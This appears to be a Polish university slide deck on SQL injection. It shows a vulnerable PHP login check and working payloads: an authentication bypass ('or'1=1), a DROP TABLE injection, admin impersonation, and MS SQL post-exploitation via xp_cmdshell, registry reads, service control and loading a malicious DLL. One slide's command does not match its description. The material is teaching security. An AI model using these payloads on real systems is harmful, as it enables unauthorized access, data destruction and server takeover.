Metody włamań do systemów komputerowych

SQL injection

Bogusław Kluge, Karina Łuksza, Ewa Mąkosa

b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl,

e.makosa@zodiac.mimuw.edu.pl

SQL injection | Ogólnie

Polega na nieautoryzowanym wykonaniu wyrażeń języka SQL. Jak znaleźć „tylne drzwi” do informacji przechowywanych w bazie danych? Wystarczy wykorzystać problem tkwiący w błędzie aplikacji internetowej. Jednym z podstawowych błędów jest brak filtracji danych przekazywanych przez użytkownika. Oto bardzo prosty przykład programu weryfikującego login i hasło:

```
...
$result=mysql_db_query($db,``SELECT * FROM $user_table
WHERE login='$login' AND password='$pass'');
$num_rows=mysql_num_rows($result);
if ($num_rows!=0){
  poprawne login i hasło --- użytkownik dopuszczony
} else brak dostepu
```

SQL injection | 1=1 => jesteśmy w systemie

Łatwo popełnić błąd.

- logując się do systemu podajmy następujące hasło:

```
test'or'1=1
```

- w naszym skrypcie php otrzymujemy zapytanie:

```
SELECT * FROM $users
WHERE login='x' AND password='test'or'1=1'
```

Równie łatwo jest wykorzystać błąd w niecnych celach.

```
Login: x';DROP TABLE users;--
Hasło:
```

SQL injection | jesteśmy kim chcemy być

- chcemy poadministrować:

```
Login: admin';--
Hasło:
```

- albo po prostu zmienić osobowość:

```
Login: Kim Basinger';--
Hasło:
```

SQL injection | extended stored procedures

Intruz może wykorzystać dostęp do bazy danych do uzyskania większej kontroli nad siecią. Przedstawimy kilka sposobów, z których może w takim wypadku skorzystać atakujący. Bedą to metody SQL Injection na serwerach SQL.
Ważnym pojęciem tutaj używanym będzie **„extended stored procedures”**. Są to skompilowane biblioteki DLL (Dynamic Link Library), używające specyficznej konwencji wywołań na serwerach SQL do wykonywania eksportowanych funkcji. Pozwalają serwerom SQL na pełne korzystanie z C/C++. Niektóre z nich są wbudowne w Serwer SQL i dostarczają takich funkcjonalności jak wysyłanie maili czy korzystanie z rejestru.

SQL injection | przejmowanie kontroli

- xp_cmdshell extended stored procedure (używana do wydawania komend jako użytkownik serwera SQL, na serwerze bazy danych)
- xp_regread extended stored procedure (używana do czytania kluczy rejestru)
- inne extended stored procedures
- wykonywanie zapytań na podłączonych serwerach
- tworzenie extended stored procedures aby wykonać exploita jako proces Serwera SQL.

UWAGA: to tylko kilka ze znanych sposobów.

SQL injection | xp_cmdshell

xp_cmdshell to wbudowana extended stored procedure, pozwalająca na wykonanie dowolnych komend:

- komenda „dir”:

  ```
  exec master..xp_cmdshell'dir'
  ```

  pomoże nam przejrzeć zawartość katalogu, spod którego uruchomiono proces aktualnie działającego serwera SQL.

- komenda „net1 user”:

  ```
  exec master..xp_cmdshell'dir'
  ```

  przedstawi listę wszystkich użytkowników korzystających z maszyny.

Zwykle serwery SQL działają jako procesy o dużym zakresie uprawnień — intruz może wyrządzić wiele szkód.

SQL injection | xp_regxxx

Przydatny może okazać się zestaw funkckcji xpregxxx, operujących na rejestrze systemowym:

- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_enumkeys
- xp_enumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite

SQL injection | xp_regread

Aby dowiedzieć się jakie zasoby są dostępne w trybie null-session na tym serwerze, wystarczy napisać:

```
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
```

SQL injection | Inne extended strored procedures

- xp_servicecontrol pozwala na wykonanie poleceń „start”, „stop” oraz „continue”:

```
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'pause','server'
```

- xp_ditree: pozwala otrzymać drzewo katalogów na serwerze.
- xp_loginconfig: pokazuje jaki jest tryb zabezpieczeń.
- xp_terminate_process: kończy działanie procesu o podanym identyfikatorze.

SQL injection | Podłączone serwery

Do serwera SQL mogą być podłączone serwery z bazami danych. Jeśli zostały postawione za pomocą procedury „sp_addlinkedsrvlogin”, to nasz serwer ma do nich otwarty dostęp. Oznacza to możliwość manipulacji danymi na tych serwerach bez konieczności zalogowania się. Linki do podłaczonych serwerów są przechowywane w tablicy master..sysservers.

SQL injection | Własne extended stored procedures

- generujemy własną bibliotekę DLL, zawierającą szklodliwy kod i umieszczamy ją na serwerze.
- dodajemy ją „do ogólnego użytku”:

```
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
```

- można ją teraz standardowo wywołać:

```
exec xp_webserver
```

- a następnie usunąć:

```
sp_dropextendedproc 'xp_webserver'
```

SQL injection | Bibliografia

- Chris Anley [chris@ngsoftware.com]. Advanced SQL Injection In SQL Server Applications.
- Marek Janiczek. Błędy w aplikacjach internetowych. *Software 2.0*, nr 71.
- http://quiz.ngsec.biz:8080/